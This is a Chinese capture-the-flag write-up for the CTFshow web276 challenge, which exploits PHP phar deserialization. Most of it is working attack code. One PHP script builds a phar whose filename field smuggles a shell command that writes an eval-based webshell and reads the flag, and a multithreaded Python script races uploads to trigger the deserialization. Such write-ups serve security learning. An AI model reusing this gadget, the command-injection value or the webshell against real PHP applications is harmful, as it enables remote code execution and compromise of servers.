CTFshow_反序列化_web276

web276 phar反序列化

对phar的利用当时学的时候是半知半解,导致写这题花了好久,又无wp,最后然后尝试用单步调试解决了

<?php
highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

解:

生成phar:

<?php
    class filter{
        public $filename = "1|echo '<?=@eval(\$_POST[1])?>'>>1.php;tac f*";
        public $filecontent;
        public $evilfile = true;
        public $admin = true;
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new filter();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

先上exp:

import requests
import threading
import base64

thread_num=10
thread_list=[]
url = 'http://79529c41-3bf4-48da-bac0-ab164e6811b7.challenge.ctf.show:8080/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False


def work5():
    global flag
    #?fn=phar://./phar.phar/
    #?fn=phar://phar.phar
    r = requests.post(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
    if "ctfshow{" in r.text:
        print(r.text)
        flag = True
        with open('./flag.txt','w+',encoding = 'utf-8') as f:
            f.write(r.text)

def work6():
    global flag
    r = requests.post(url+"?fn=phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
    if "ctfshow{" in r.text:
        print(r.text)
        flag = True
        with open('./flag.txt','w+',encoding = 'utf-8') as f:
            f.write(r.text)

            
def work7():
    global flag
    r = requests.post(url+"?fn=/var/www/html/phar.phar", data=data,proxies={'http': '127.0.0.1:2021'})
    result = requests.get(url+"?fn=phar://phar.phar",proxies={'http': '127.0.0.1:2021'})
    if "ctfshow{" in result.text:
        print(result.text)
        flag = True

def run():
    global flag
    while not flag:
        print('retry')

        """  
        方法一:非预期
        """
        work7()
        """  
        方法二:预期,条件竞争
        """
        #work5()
        #work6()


if __name__ == '__main__':
    while thread_num:
        t = threading.Thread(target=run)
        thread_num-=1
        t.start()
        thread_list.append(t)
    
    for i in thread_list:
        i.join()

实践疑问及解答:

#实践

#?fn=phar://phar.phar
#?fn=phar://./phar.phar 和?fn=phar://phar.phar/
""" 
警告,不生成
Warning</b>:  file_put_contents(phar://phar.phar): failed to open stream: phar error: file &quot;&quot; in phar &quot;phar.phar&quot; cannot be empty in <b>/var/www/html/index.php
Warning</b>:  copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>:  unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
因为目录下无phar.phar文件,故报错
"""

#羽师傅的解法
#?fn=a 
""" 
生成空txt
因为:无post数据
"""

#方法一
#?fn=/var/www/html/phar.phar会生成phar.phar文件
#原因在于:file_put_contents($_GET['fn'], $content);能生成phar.phar文件(绝对路径),但unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);中fn与当前路径拼接会导致删除失败,故成功生成phar文件
#但如果竞争就会生成部分空文件和部分phar内容的TXT,而且不生成phar.phar文件,不懂。。。可能冲突了?多线程没学好
"""  
unlink(/var/www/html//var/www/html/phar.phar): No such file or directory in <b>/var/www/html/index.php
"""
#假如phar.phar文件存在,则?fn=phar://phar.phar触发反序列化
"""  
Warning</b>:  file_put_contents(phar://phar.phar): failed to open stream: phar error: file &quot;&quot; in phar &quot;phar.phar&quot; cannot be empty in <b>/var/www/html/index.php</b> on line <b>47</b><br />
Warning</b>:  copy(): The first argument to copy() function cannot be a directory in <b>/var/www/html/index.php</b> on line <b>48</b><br />
Warning</b>:  unlink(/var/www/html/phar://phar.phar): No such file or directory in <b>/var/www/html/index.php
"""

方法二:
"""  
实践后发现
通过条件竞争,先?fn=phar.phar,data=数据,生成phar.phar
然后?fn=phar://phar.phar
unlink()/copy()/file_put_content()都可以触发phar反序列化
但unlink前面有路径阻隔,本来想../绕过,发现..被过滤
"""

我觉得Y4师傅的wp写错了

怀疑错在,生成了a文件但用了phar://phar.phar,读不到文件,应该是phar://a,实践后失败

想起phar文件必须是phar后缀才行, 换成a.phar和phar://a.phar即可

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值